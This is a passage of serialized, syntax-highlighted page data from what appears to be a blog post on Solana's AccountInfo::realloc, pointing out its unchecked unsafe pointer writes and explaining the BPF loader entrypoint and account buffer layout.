unsafe",{"type":23,"tag":230,"props":16162,"children":16163},{"style":274},[16164],{"type":29,"value":277},{"type":23,"tag":230,"props":16166,"children":16167},{"class":232,"line":371},[16168],{"type":23,"tag":230,"props":16169,"children":16170},{"style":237},[16171],{"type":29,"value":16172},"        // First set new length in the serialized data\n",{"type":23,"tag":230,"props":16174,"children":16175},{"class":232,"line":391},[16176,16180,16185,16189,16193,16197,16202,16207,16211,16216,16220,16224,16229,16233,16237,16241,16245,16249,16253,16257,16261],{"type":23,"tag":230,"props":16177,"children":16178},{"style":256},[16179],{"type":29,"value":5404},{"type":23,"tag":230,"props":16181,"children":16182},{"style":262},[16183],{"type":29,"value":16184}," ptr",{"type":23,"tag":230,"props":16186,"children":16187},{"style":268},[16188],{"type":29,"value":271},{"type":23,"tag":230,"props":16190,"children":16191},{"style":256},[16192],{"type":29,"value":16124},{"type":23,"tag":230,"props":16194,"children":16195},{"style":268},[16196],{"type":29,"value":312},{"type":23,"tag":230,"props":16198,"children":16199},{"style":294},[16200],{"type":29,"value":16201},"try_borrow_mut_data",{"type":23,"tag":230,"props":16203,"children":16204},{"style":274},[16205],{"type":29,"value":16206},"()",{"type":23,"tag":230,"props":16208,"children":16209},{"style":268},[16210],{"type":29,"value":5472},{"type":23,"tag":230,"props":16212,"children":16213},{"style":294},[16214],{"type":29,"value":16215},"as_mut_ptr",{"type":23,"tag":230,"props":16217,"children":16218},{"style":274},[16219],{"type":29,"value":16206},{"type":23,"tag":230,"props":16221,"children":16222},{"style":268},[16223],{"type":29,"value":312},{"type":23,"tag":230,"props":16225,"children":16226},{"style":294},[16227],{"type":29,"value":16228},"offset",{"type":23,"tag":230,"props":16230,"children":16231},{"style":274},[16232],{"type":29,"value":302},{"type":23,"tag":230,"props":16234,"children":16235},{"style":268},[16236],{"type":29,"value":6665},{"type":23,"tag":230,"props":16238,"children":16239},{"style":5149},[16240],{"type":29,"value":6412},{"type":23,"tag":230,"props":16242,"children":16243},{"style":274},[16244],{"type":29,"value":703},{"type":23,"tag":230,"props":16246,"children":16247},{"style":256},[16248],{"type":29,"value":4343},{"type":23,"tag":230,"props":16250,"children":16251},{"style":268},[16252],{"type":29,"value":12147},{"type":23,"tag":230,"props":16254,"children":16255},{"style":256},[16256],{"type":29,"value":6059},{"type":23,"tag":230,"props":16258,"children":16259},{"style":676},[16260],{"type":29,"value":8197},{"type":23,"tag":230,"props":16262,"children":16263},{"style":274},[16264],{"type":29,"value":511},{"type":23,"tag":230,"props":16266,"children":16267},{"class":232,"line":400},[16268,16272,16277,16281,16286,16290,16294],{"type":23,"tag":230,"props":16269,"children":16270},{"style":268},[16271],{"type":29,"value":10087},{"type":23,"tag":230,"props":16273,"children":16274},{"style":262},[16275],{"type":29,"value":16276},"ptr",{"type":23,"tag":230,"props":16278,"children":16279},{"style":268},[16280],{"type":29,"value":271},{"type":23,"tag":230,"props":16282,"children":16283},{"style":262},[16284],{"type":29,"value":16285}," new_len",{"type":23,"tag":230,"props":16287,"children":16288},{"style":256},[16289],{"type":29,"value":3589},{"type":23,"tag":230,"props":16291,"children":16292},{"style":676},[16293],{"type":29,"value":8197},{"type":23,"tag":230,"props":16295,"children":16296},{"style":274},[16297],{"type":29,"value":511},{"type":23,"tag":230,"props":16299,"children":16300},{"class":232,"line":444},[16301],{"type":23,"tag":230,"props":16302,"children":16303},{"emptyLinePlaceholder":18},[16304],{"type":29,"value":459},{"type":23,"tag":230,"props":16306,"children":16307},{"class":232,"line":453},[16308],{"type":23,"tag":230,"props":16309,"children":16310},{"style":237},[16311],{"type":29,"value":16312},"        // Then set the new length in the local slice\n",{"type":23,"tag":230,"props":16314,"children":16315},{"class":232,"line":462},[16316,16320,16324,16328,16332,16336,16340,16345,16349,16353,16357,16361,16366,16371,16375,16379,16383,16387,16391,16395,16399,16403,16407,16411,16415,16419,16423,16427,16431,16435,16439],{"type":23,"tag":230,"props":16317,"children":16318},{"style":256},[16319],{"type":29,"value":5404},{"type":23,"tag":230,"props":16321,"children":16322},{"style":262},[16323],{"type":29,"value":16184},{"type":23,"tag":230,"props":16325,"children":16326},{"style":268},[16327],{"type":29,"value":271},{"type":23,"tag":230,"props":16329,"children":16330},{"style":268},[16331],{"type":29,"value":9477},{"type":23,"tag":230,"props":16333,"children":16334},{"style":256},[16335],{"type":29,"value":6059},{"type":23,"tag":230,"props":16337,"children":16338},{"style":268},[16339],{"type":29,"value":12147},{"type":23,"tag":230,"props":16341,"children":16342},{"style":274},[16343],{"type":29,"value":16344},"(((",{"type":23,"tag":230,"props":16346,"children":16347},{"style":256},[16348],{"type":29,"value":16040},{"type":23,"tag":230,"props":16350,"children":16351},{"style":268},[16352],{"type":29,"value":312},{"type":23,"tag":230,"props":16354,"children":16355},{"style":274},[16356],{"type":29,"value":6037},{"type":23,"tag":230,"props":16358,"children":16359},{"style":268},[16360],{"type":29,"value":312},{"type":23,"tag":230,"props":16362,"children":16363},{"style":294},[16364],{"type":29,"value":16365},"as_ptr",{"type":23,"tag":230,"props":16367,"children":16368},{"style":274},[16369],{"type":29,"value":16370},"() ",{"type":23,"tag":230,"props":16372,"children":16373},{"style":256},[16374],{"type":29,"value":4343},{"type":23,"tag":230,"props":16376,"children":16377},{"style":268},[16378],{"type":29,"value":12147},{"type":23,"tag":230,"props":16380,"children":16381},{"style":256},[16382],{"type":29,"value":259},{"type":23,"tag":230,"props":16384,"children":16385},{"style":676},[16386],{"type":29,"value":8197},{"type":23,"tag":230,"props":16388,"children":16389},{"style":274},[16390],{"type":29,"value":5467},{"type":23,"tag":230,"props":16392,"children":16393},{"style":268},[16394],{"type":29,"value":312},{"type":23,"tag":230,"props":16396,"children":16397},{"style":294},[16398],{"type":29,"value":16228},{"type":23,"tag":230,"props":16400,"children":16401},{"style":274},[16402],{"type":29,"value":302},{"type":23,"tag":230,"props":16404,"children":16405},{"style":5149},[16406],{"type":29,"value":6348},{"type":23,"tag":230,"props":16408,"children":16409},{"style":274},[16410],{"type":29,"value":703},{"type":23,"tag":230,"props":16412,"children":16413},{"style":256},[16414],{"type":29,"value":4343},{"type":23,"tag":230,"props":16416,"children":16417},{"style":676},[16418],{"type":29,"value":8197},{"type":23,"tag":230,"props":16420,"children":16421},{"style":274},[16422],{"type":29,"value":703},{"type":23,"tag":230,"props":16424,"children":16425},{"style":256},[16426],{"type":29,"value":4343},{"type":23,"tag":230,"props":16428,"children":16429},{"style":268},[16430],{"type":29,"value":12147},{"type":23,"tag":230,"props":16432,"children":16433},{"style":256},[16434],{"type":29,"value":6059},{"type":23,"tag":230,"props":16436,"children":16437},{"style":676},[16438],{"type":29,"value":8197},{"type":23,"tag":230,"props":16440,"children":16441},{"style":274},[16442],{"type":29,"value":753},{"type":23,"tag":230,"props":16444,"children":16445},{"class":232,"line":471},[16446,16450,16454,16458,16462,16466,16470],{"type":23,"tag":230,"props":16447,"children":16448},{"style":268},[16449],{"type":29,"value":10087},{"type":23,"tag":230,"props":16451,"children":16452},{"style":262},[16453],{"type":29,"value":16276},{"type":23,"tag":230,"props":16455,"children":16456},{"style":268},[16457],{"type":29,"value":271},{"type":23,"tag":230,"props":16459,"children":16460},{"style":262},[16461],{"type":29,"value":16285},{"type":23,"tag":230,"props":16463,"children":16464},{"style":256},[16465],{"type":29,"value":3589},{"type":23,"tag":230,"props":16467,"children":16468},{"style":676},[16469],{"type":29,"value":8197},{"type":23,"tag":230,"props":16471,"children":16472},{"style":274},[16473],{"type":29,"value":511},{"type":23,"tag":230,"props":16475,"children":16476},{"class":232,"line":500},[16477],{"type":23,"tag":230,"props":16478,"children":16479},{"style":274},[16480],{"type":29,"value":1552},{"type":23,"tag":230,"props":16482,"children":16483},{"class":232,"line":514},[16484],{"type":23,"tag":230,"props":16485,"children":16486},{"emptyLinePlaceholder":18},[16487],{"type":29,"value":459},{"type":23,"tag":230,"props":16489,"children":16490},{"class":232,"line":897},[16491],{"type":23,"tag":230,"props":16492,"children":16493},{"style":237},[16494],{"type":29,"value":16495},"    // zero-init if requested\n",{"type":23,"tag":230,"props":16497,"children":16498},{"class":232,"line":960},[16499,16503,16508,16513,16517,16522,16526],{"type":23,"tag":230,"props":16500,"children":16501},{"style":866},[16502],{"type":29,"value":1493},{"type":23,"tag":230,"props":16504,"children":16505},{"style":262},[16506],{"type":29,"value":16507}," zero_init",{"type":23,"tag":230,"props":16509,"children":16510},{"style":268},[16511],{"type":29,"value":16512}," &&",{"type":23,"tag":230,"props":16514,"children":16515},{"style":262},[16516],{"type":29,"value":16285},{"type":23,"tag":230,"props":16518,"children":16519},{"style":268},[16520],{"type":29,"value":16521}," >",{"type":23,"tag":230,"props":16523,"children":16524},{"style":262},[16525],{"type":29,"value":16115},{"type":23,"tag":230,"props":16527,"children":16528},{"style":274},[16529],{"type":29,"value":277},{"type":23,"tag":230,"props":16531,"children":16532},{"class":232,"line":969},[16533,16538],{"type":23,"tag":230,"props":16534,"children":16535},{"style":294},[16536],{"type":29,"value":16537},"        sol_memset",{"type":23,"tag":230,"props":16539,"children":16540},{"style":274},[16541],{"type":29,"value":619},{"type":23,"tag":230,"props":16543,"children":16544},{"class":232,"line":4526},[16545,16549,16553,16557,16561,16565,16569,16573,16577,16582,16586],{"type":23,"tag":230,"props":16546,"children":16547},{"style":268},[16548],{"type":29,"value":10021},{"type":23,"tag":230,"props":16550,"children":16551},{"style":256},[16552],{"type":29,"value":6059},{"type":23,"tag":230,"props":16554,"children":16555},{"style":256},[16556],{"type":29,"value":16124},{"type":23,"tag":230,"props":16558,"children":16559},{"style":268},[16560],{"type":29,"value":312},{"type":23,"tag":230,"props":16562,"children":16563},{"style":294},[16564],{"type":29,"value":16201},{"type":23,"tag":230,"props":16566,"children":16567},{"style":274},[16568],{"type":29,"value":16206},{"type":23,"tag":230,"props":16570,"children":16571},{"style":268},[16572],{"type":29,"value":5494},{"type":23,"tag":230,"props":16574,"children":16575},{"style":274},[16576],{"type":29,"value":6069},{"type":23,"tag":230,"props":16578,"children":16579},{"style":262},[16580],{"type":29,"value":16581},"orig_len",{"type":23,"tag":230,"props":16583,"children":16584},{"style":268},[16585],{"type":29,"value":5391},{"type":23,"tag":230,"props":16587,"children":16588},{"style":274},[16589],{"type":29,"value":16590},"],\n",{"type":23,"tag":230,"props":16592,"children":16593},{"class":232,"line":4534},[16594,16599],{"type":23,"tag":230,"props":16595,"children":16596},{"style":5149},[16597],{"type":29,"value":16598},"            0",{"type":23,"tag":230,"props":16600,"children":16601},{"style":274},[16602],{"type":29,"value":388},{"type":23,"tag":230,"props":16604,"children":16605},{"class":232,"line":4542},[16606,16611,16615,16620,16624,16628],{"type":23,"tag":230,"props":16607,"children":16608},{"style":262},[16609],{"type":29,"value":16610},"            new_len",{"type":23,"tag":230,"props":16612,"children":16613},{"style":268},[16614],{"type":29,"value":312},{"type":23,"tag":230,"props":16616,"children":16617},{"style":294},[16618],{"type":29,"value":16619},"saturating_sub",{"type":23,"tag":230,"props":16621,"children":16622},{"style":274},[16623],{"type":29,"value":302},{"type":23,"tag":230,"props":16625,"children":16626},{"style":262},[16627],{"type":29,"value":16581},{"type":23,"tag":230,"props":16629,"children":16630},{"style":274},[16631],{"type":29,"value":331},{"type":23,"tag":230,"props":16633,"children":16634},{"class":232,"line":4559},[16635],{"type":23,"tag":230,"props":16636,"children":16637},{"style":274},[16638],{"type":29,"value":3635},{"type":23,"tag":230,"props":16640,"children":16641},{"class":232,"line":4587},[16642],{"type":23,"tag":230,"props":16643,"children":16644},{"style":274},[16645],{"type":29,"value":1552},{"type":23,"tag":230,"props":16647,"children":16648},{"class":232,"line":4595},[16649],{"type":23,"tag":230,"props":16650,"children":16651},{"emptyLinePlaceholder":18},[16652],{"type":29,"value":459},{"type":23,"tag":230,"props":16654,"children":16655},{"class":232,"line":4619},[16656,16661],{"type":23,"tag":230,"props":16657,"children":16658},{"style":676},[16659],{"type":29,"value":16660},"    Ok",{"type":23,"tag":230,"props":16662,"children":16663},{"style":274},[16664],{"type":29,"value":16665},"(())\n",{"type":23,"tag":230,"props":16667,"children":16668},{"class":232,"line":4627},[16669],{"type":23,"tag":230,"props":16670,"children":16671},{"style":274},[16672],{"type":29,"value":975},{"type":23,"tag":32,"props":16674,"children":16675},{},[16676,16678,16684,16686,16691],{"type":29,"value":16677},"Oh. There's ",{"type":23,"tag":71,"props":16679,"children":16681},{"className":16680},[],[16682],{"type":29,"value":16683},"unsafe",{"type":29,"value":16685},". And no bounds check in sight. ",{"type":23,"tag":2258,"props":16687,"children":16688},{},[16689],{"type":29,"value":16690},"And",{"type":29,"value":16692}," pointer math. That doesn't look promising...",{"type":23,"tag":24,"props":16694,"children":16696},{"id":16695},"breaking-down-realloc",[16697,16699],{"type":29,"value":16698},"Breaking down ",{"type":23,"tag":71,"props":16700,"children":16702},{"className":16701},[],[16703],{"type":29,"value":15965},{"type":23,"tag":32,"props":16705,"children":16706},{},[16707,16709,16714],{"type":29,"value":16708},"Let's pick apart this ",{"type":23,"tag":71,"props":16710,"children":16712},{"className":16711},[],[16713],{"type":29,"value":16683},{"type":29,"value":16715}," block, since there's a lot going on here.",{"type":23,"tag":220,"props":16717,"children":16719},{"className":5320,"code":16718,"language":5319,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[16720],{"type":23,"tag":71,"props":16721,"children":16722},{"__ignoreMap":7},[16723,16731,16818],{"type":23,"tag":230,"props":16724,"children":16725},{"class":232,"line":233},[16726],{"type":23,"tag":230,"props":16727,"children":16728},{"style":237},[16729],{"type":29,"value":16730},"// First set new length in the serialized data\n",{"type":23,"tag":230,"props":16732,"children":16733},{"class":232,"line":243},[16734,16738,16742,16746,16750,16754,16758,16762,16766,16770,16774,16778,16782,16786,16790,16794,16798,16802,16806,16810,16814],{"type":23,"tag":230,"props":16735,"children":16736},{"style":256},[16737],{"type":29,"value":14118},{"type":23,"tag":230,"props":16739,"children":16740},{"style":262},[16741],{"type":29,"value":16184},{"type":23,"tag":230,"props":16743,"children":16744},{"style":268},[16745],{"type":29,"value":271},{"type":23,"tag":230,"props":16747,"children":16748},{"style":256},[16749],{"type":29,"value":16124},{"type":23,"tag":230,"props":16751,"children":16752},{"style":268},[16753],{"type":29,"value":312},{"type":23,"tag":230,"props":16755,"children":16756},{"style":294},[16757],{"type":29,"value":16201},{"type":23,"tag":230,"props":16759,"children":16760},{"style":274},[16761],{"type":29,"value":16206},{"type":23,"tag":230,"props":16763,"children":16764},{"style":268},[16765],{"type":29,"value":5472},{"type":23,"tag":230,"props":16767,"children":16768},{"style":294},[16769],{"type":29,"value":16215},{"type":23,"tag":230,"props":16771,"children":16772},{"style":274},[16773],{"type":29,"value":16206},{"type":23,"tag":230,"props":16775,"children":16776},{"style":268},[16777],{"type":29,"value":312},{"type":23,"tag":230,"props":16779,"children":16780},{"style":294},[16781],{"type":29,"value":16228},{"type":23,"tag":230,"props":16783,"children":16784},{"style":274},[16785],{"type":29,"value":302},{"type":23,"tag":230,"props":16787,"children":16788},{"style":268},[16789],{"type":29,"value":6665},{"type":23,"tag":230,"props":16791,"children":16792},{"style":5149},[16793],{"type":29,"value":6412},{"type":23,"tag":230,"props":16795,"children":16796},{"style":274},[16797],{"type":29,"value":703},{"type":23,"tag":230,"props":16799,"children":16800},{"style":256},[16801],{"type":29,"value":4343},{"type":23,"tag":230,"props":16803,"children":16804},{"style":268},[16805],{"type":29,"value":12147},{"type":23,"tag":230,"props":16807,"children":16808},{"style":256},[16809],{"type":29,"value":6059},{"type":23,"tag":230,"props":16811,"children":16812},{"style":676},[16813],{"type":29,"value":8197},{"type":23,"tag":230,"props":16815,"children":16816},{"style":274},[16817],{"type":29,"value":511},{"type":23,"tag":230,"props":16819,"children":16820},{"class":232,"line":252},[16821,16825,16829,16833,16837,16841,16845],{"type":23,"tag":230,"props":16822,"children":16823},{"style":268},[16824],{"type":29,"value":6909},{"type":23,"tag":230,"props":16826,"children":16827},{"style":262},[16828],{"type":29,"value":16276},{"type":23,"tag":230,"props":16830,"children":16831},{"style":268},[16832],{"type":29,"value":271},{"type":23,"tag":230,"props":16834,"children":16835},{"style":262},[16836],{"type":29,"value":16285},{"type":23,"tag":230,"props":16838,"children":16839},{"style":256},[16840],{"type":29,"value":3589},{"type":23,"tag":230,"props":16842,"children":16843},{"style":676},[16844],{"type":29,"value":8197},{"type":23,"tag":230,"props":16846,"children":16847},{"style":274},[16848],{"type":29,"value":511},{"type":23,"tag":32,"props":16850,"children":16851},{},[16852,16857],{"type":23,"tag":71,"props":16853,"children":16855},{"className":16854},[],[16856],{"type":29,"value":16201},{"type":29,"value":16858}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":23,"tag":59,"props":16860,"children":16862},{"id":16861},"bpf-loader-abi",[16863],{"type":29,"value":16864},"BPF Loader ABI",{"type":23,"tag":32,"props":16866,"children":16867},{},[16868,16870,16875,16877,16890],{"type":29,"value":16869},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":23,"tag":71,"props":16871,"children":16873},{"className":16872},[],[16874],{"type":29,"value":15980},{"type":29,"value":16876},"'s entrypoint code - the code that's added when you use the ",{"type":23,"tag":181,"props":16878,"children":16881},{"href":16879,"rel":16880},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[185],[16882,16888],{"type":23,"tag":71,"props":16883,"children":16885},{"className":16884},[],[16886],{"type":29,"value":16887},"entrypoint!",{"type":29,"value":16889}," macro",{"type":29,"value":218},{"type":23,"tag":220,"props":16892,"children":16894},{"className":5320,"code":16893,"language":5319,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[16895],{"type":23,"tag":71,"props":16896,"children":16897},{"__ignoreMap":7},[16898,16906,16978,17021,17073,17131,17173,17216,17223],{"type":23,"tag":230,"props":16899,"children":16900},{"class":232,"line":233},[16901],{"type":23,"tag":230,"props":16902,"children":16903},{"style":274},[16904],{"type":29,"value":16905},"#[no_mangle]\n",{"type":23,"tag":230,"props":16907,"children":16908},{"class":232,"line":243},[16909,16913,16918,16923,16928,16932,16937,16941,16945,16949,16953,16957,16962,16966,16970,16974],{"type":23,"tag":230,"props":16910,"children":16911},{"style":256},[16912],{"type":29,"value":16017},{"type":23,"tag":230,"props":16914,"children":16915},{"style":256},[16916],{"type":29,"value":16917}," unsafe",{"type":23,"tag":230,"props":16919,"children":16920},{"style":256},[16921],{"type":29,"value":16922}," extern",{"type":23,"tag":230,"props":16924,"children":16925},{"style":380},[16926],{"type":29,"value":16927}," \"C\"",{"type":23,"tag":230,"props":16929,"children":16930},{"style":256},[16931],{"type":29,"value":16022},{"type":23,"tag":230,"props":16933,"children":16934},{"style":294},[16935],{"type":29,"value":16936}," entrypoint",{"type":23,"tag":230,"props":16938,"children":16939},{"style":274},[16940],{"type":29,"value":302},{"type":23,"tag":230,"props":16942,"children":16943},{"style":262},[16944],{"type":29,"value":10702},{"type":23,"tag":230,"props":16946,"children":16947},{"style":268},[16948],{"type":29,"value":218},{"type":23,"tag":230,"props":16950,"children":16951},{"style":268},[16952],{"type":29,"value":12147},{"type":23,"tag":230,"props":16954,"children":16955},{"style":256},[16956],{"type":29,"value":6059},{"type":23,"tag":230,"props":16958,"children":16959},{"style":676},[16960],{"type":29,"value":16961}," u8",{"type":23,"tag":230,"props":16963,"children":16964},{"style":274},[16965],{"type":29,"value":703},{"type":23,"tag":230,"props":16967,"children":16968},{"style":268},[16969],{"type":29,"value":16084},{"type":23,"tag":230,"props":16971,"children":16972},{"style":676},[16973],{"type":29,"value":8197},{"type":23,"tag":230,"props":16975,"children":16976},{"style":274},[16977],{"type":29,"value":277},{"type":23,"tag":230,"props":16979,"children":16980},{"class":232,"line":252},[16981,16985,16989,16994,16998,17003,17007,17012,17016],{"type":23,"tag":230,"props":16982,"children":16983},{"style":256},[16984],{"type":29,"value":5340},{"type":23,"tag":230,"props":16986,"children":16987},{"style":274},[16988],{"type":29,"value":664},{"type":23,"tag":230,"props":16990,"children":16991},{"style":262},[16992],{"type":29,"value":16993},"program_id",{"type":23,"tag":230,"props":16995,"children":16996},{"style":274},[16997],{"type":29,"value":684},{"type":23,"tag":230,"props":16999,"children":17000},{"style":262},[17001],{"type":29,"value":17002},"accounts",{"type":23,"tag":230,"props":17004,"children":17005},{"style":274},[17006],{"type":29,"value":684},{"type":23,"tag":230,"props":17008,"children":17009},{"style":262},[17010],{"type":29,"value":17011},"instruction_data",{"type":23,"tag":230,"props":17013,"children":17014},{"style":274},[17015],{"type":29,"value":703},{"type":23,"tag":230,"props":17017,"children":17018},{"style":268},[17019],{"type":29,"value":17020},"=\n",{"type":23,"tag":230,"props":17022,"children":17023},{"class":232,"line":280},[17024,17029,17033,17037,17042,17046,17051,17055,17060,17064,17068],{"type":23,"tag":230,"props":17025,"children":17026},{"style":256},[17027],{"type":29,"value":17028},"        unsafe",{"type":23,"tag":230,"props":17030,"children":17031},{"style":274},[17032],{"type":29,"value":848},{"type":23,"tag":230,"props":17034,"children":17035},{"style":268},[17036],{"type":29,"value":12619},{"type":23,"tag":230,"props":17038,"children":17039},{"style":256},[17040],{"type":29,"value":17041},"crate",{"type":23,"tag":230,"props":17043,"children":17044},{"style":268},[17045],{"type":29,"value":5818},{"type":23,"tag":230,"props":17047,"children":17048},{"style":274},[17049],{"type":29,"value":17050},"entrypoint",{"type":23,"tag":230,"props":17052,"children":17053},{"style":268},[17054],{"type":29,"value":5818},{"type":23,"tag":230,"props":17056,"children":17057},{"style":294},[17058],{"type":29,"value":17059},"deserialize",{"type":23,"tag":230,"props":17061,"children":17062},{"style":274},[17063],{"type":29,"value":302},{"type":23,"tag":230,"props":17065,"children":17066},{"style":262},[17067],{"type":29,"value":10702},{"type":23,"tag":230,"props":17069,"children":17070},{"style":274},[17071],{"type":29,"value":17072},") };\n",{"type":23,"tag":230,"props":17074,"children":17075},{"class":232,"line":334},[17076,17081,17086,17091,17095,17099,17103,17107,17111,17115,17119,17123,17127],{"type":23,"tag":230,"props":17077,"children":17078},{"style":866},[17079],{"type":29,"value":17080},"    match",{"type":23,"tag":230,"props":17082,"children":17083},{"style":268},[17084],{"type":29,"value":17085}," $",{"type":23,"tag":230,"props":17087,"children":17088},{"style":262},[17089],{"type":29,"value":17090},"process_instruction",{"type":23,"tag":230,"props":17092,"children":17093},{"style":274},[17094],{"type":29,"value":302},{"type":23,"tag":230,"props":17096,"children":17097},{"style":268},[17098],{"type":29,"value":5448},{"type":23,"tag":230,"props":17100,"children":17101},{"style":262},[17102],{"type":29,"value":16993},{"type":23,"tag":230,"props":17104,"children":17105},{"style":274},[17106],{"type":29,"value":684},{"type":23,"tag":230,"props":17108,"children":17109},{"style":268},[17110],{"type":29,"value":5448},{"type":23,"tag":230,"props":17112,"children":17113},{"style":262},[17114],{"type":29,"value":17002},{"type":23,"tag":230,"props":17116,"children":17117},{"style":274},[17118],{"type":29,"value":684},{"type":23,"tag":230,"props":17120,"children":17121},{"style":268},[17122],{"type":29,"value":5448},{"type":23,"tag":230,"props":17124,"children":17125},{"style":262},[17126],{"type":29,"value":17011},{"type":23,"tag":230,"props":17128,"children":17129},{"style":274},[17130],{"type":29,"value":827},{"type":23,"tag":230,"props":17132,"children":17133},{"class":232,"line":371},[17134,17139,17144,17148,17152,17156,17160,17164,17168],{"type":23,"tag":230,"props":17135,"children":17136},{"style":676},[17137],{"type":29,"value":17138},"        Ok",{"type":23,"tag":230,"props":17140,"children":17141},{"style":274},[17142],{"type":29,"value":17143},"(()) ",{"type":23,"tag":230,"props":17145,"children":17146},{"style":268},[17147],{"type":29,"value":2671},{"type":23,"tag":230,"props":17149,"children":17150},{"style":268},[17151],{"type":29,"value":17085},{"type":23,"tag":230,"props":17153,"children":17154},{"style":256},[17155],{"type":29,"value":17041},{"type":23,"tag":230,"props":17157,"children":17158},{"style":268},[17159],{"type":29,"value":5818},{"type":23,"tag":230,"props":17161,"children":17162},{"style":274},[17163],{"type":29,"value":17050},{"type":23,"tag":230,"props":17165,"children":17166},{"style":268},[17167],{"type":29,"value":5818},{"type":23,"tag":230,"props":17169,"children":17170},{"style":274},[17171],{"type":29,"value":17172},"SUCCESS,\n",{"type":23,"tag":230,"props":17174,"children":17175},{"class":232,"line":391},[17176,17181,17185,17190,17194,17198,17203,17207,17212],{"type":23,"tag":230,"props":17177,"children":17178},{"style":676},[17179],{"type":29,"value":17180},"        Err",{"type":23,"tag":230,"props":17182,"children":17183},{"style":274},[17184],{"type":29,"value":302},{"type":23,"tag":230,"props":17186,"children":17187},{"style":262},[17188],{"type":29,"value":17189},"error",{"type":23,"tag":230,"props":17191,"children":17192},{"style":274},[17193],{"type":29,"value":703},{"type":23,"tag":230,"props":17195,"children":17196},{"style":268},[17197],{"type":29,"value":2671},{"type":23,"tag":230,"props":17199,"children":17200},{"style":262},[17201],{"type":29,"value":17202}," error",{"type":23,"tag":230,"props":17204,"children":17205},{"style":268},[17206],{"type":29,"value":312},{"type":23,"tag":230,"props":17208,"children":17209},{"style":294},[17210],{"type":29,"value":17211},"into",{"type":23,"tag":230,"props":17213,"children":17214},{"style":274},[17215],{"type":29,"value":5827},{"type":23,"tag":230,"props":17217,"children":17218},{"class":232,"line":400},[17219],{"type":23,"tag":230,"props":17220,"children":17221},{"style":274},[17222],{"type":29,"value":1552},{"type":23,"tag":230,"props":17224,"children":17225},{"class":232,"line":444},[17226],{"type":23,"tag":230,"props":17227,"children":17228},{"style":274},[17229],{"type":29,"value":975},{"type":23,"tag":32,"props":17231,"children":17232},{},[17233,17235,17240,17242,17248,17250,17257,17259,17265,17267,17274],{"type":29,"value":17234},"What we see here is the contract's real entrypoint - it takes a ",{"type":23,"tag":71,"props":17236,"children":17238},{"className":17237},[],[17239],{"type":29,"value":5759},{"type":29,"value":17241}," buffer in from the loader, and calls ",{"type":23,"tag":71,"props":17243,"children":17245},{"className":17244},[],[17246],{"type":29,"value":17247},"solana_program::entrypoint::deserialize",{"type":29,"value":17249},", which then ",{"type":23,"tag":181,"props":17251,"children":17254},{"href":17252,"rel":17253},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[185],[17255],{"type":29,"value":17256},"parses out",{"type":29,"value":17258}," all the ",{"type":23,"tag":71,"props":17260,"children":17262},{"className":17261},[],[17263],{"type":29,"value":17264},"AccountInfo",{"type":29,"value":17266},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":23,"tag":181,"props":17268,"children":17271},{"href":17269,"rel":17270},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[185],[17272],{"type":29,"value":17273},"laid out",{"type":29,"value":218},{"type":23,"tag":220,"props":17276,"children":17278},{"className":5320,"code":17277,"language":5319,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[17279],{"type":23,"tag":71,"props":17280,"children":17281},{"__ignoreMap":7},[17282,17299,17379,17412,17419,17466,17511,17519,17543],{"type":23,"tag":230,"props":17283,"children":17284},{"class":232,"line":233},[17285,17290,17294],{"type":23,"tag":230,"props":17286,"children":17287},{"style":274},[17288],{"type":29,"value":17289},"#[allow(clippy",{"type":23,"tag":230,"props":17291,"children":17292},{"style":268},[17293],{"type":29,"value":5818},{"type":23,"tag":230,"props":17295,"children":17296},{"style":274},[17297],{"type":29,"value":17298},"cast_ptr_alignment)]\n",{"type":23,"tag":230,"props":17300,"children":17301},{"class":232,"line":243},[17302,17306,17311,17315,17319,17323,17327,17331,17335,17339,17343,17347,17351,17355,17359,17363,17367,17371,17375],{"type":23,"tag":230,"props":17303,"children":17304},{"style":256},[17305],{"type":29,"value":14118},{"type":23,"tag":230,"props":17307,"children":17308},{"style":262},[17309],{"type":29,"value":17310}," data_len",{"type":23,"tag":230,"props":17312,"children":17313},{"style":268},[17314],{"type":29,"value":271},{"type":23,"tag":230,"props":17316,"children":17317},{"style":268},[17318],{"type":29,"value":12147},{"type":23,"tag":230,"props":17320,"children":17321},{"style":274},[17322],{"type":29,"value":302},{"type":23,"tag":230,"props":17324,"children":17325},{"style":262},[17326],{"type":29,"value":10702},{"type":23,"tag":230,"props":17328,"children":17329},{"style":268},[17330],{"type":29,"value":312},{"type":23,"tag":230,"props":17332,"children":17333},{"style":294},[17334],{"type":29,"value":11969},{"type":23,"tag":230,"props":17336,"children":17337},{"style":274},[17338],{"type":29,"value":302},{"type":23,"tag":230,"props":17340,"children":17341},{"style":262},[17342],{"type":29,"value":16228},{"type":23,"tag":230,"props":17344,"children":17345},{"style":274},[17346],{"type":29,"value":703},{"type":23,"tag":230,"props":17348,"children":17349},{"style":256},[17350],{"type":29,"value":4343},{"type":23,"tag":230,"props":17352,"children":17353},{"style":268},[17354],{"type":29,"value":12147},{"type":23,"tag":230,"props":17356,"children":17357},{"style":256},[17358],{"type":29,"value":259},{"type":23,"tag":230,"props":17360,"children":17361},{"style":676},[17362],{"type":29,"value":8197},{"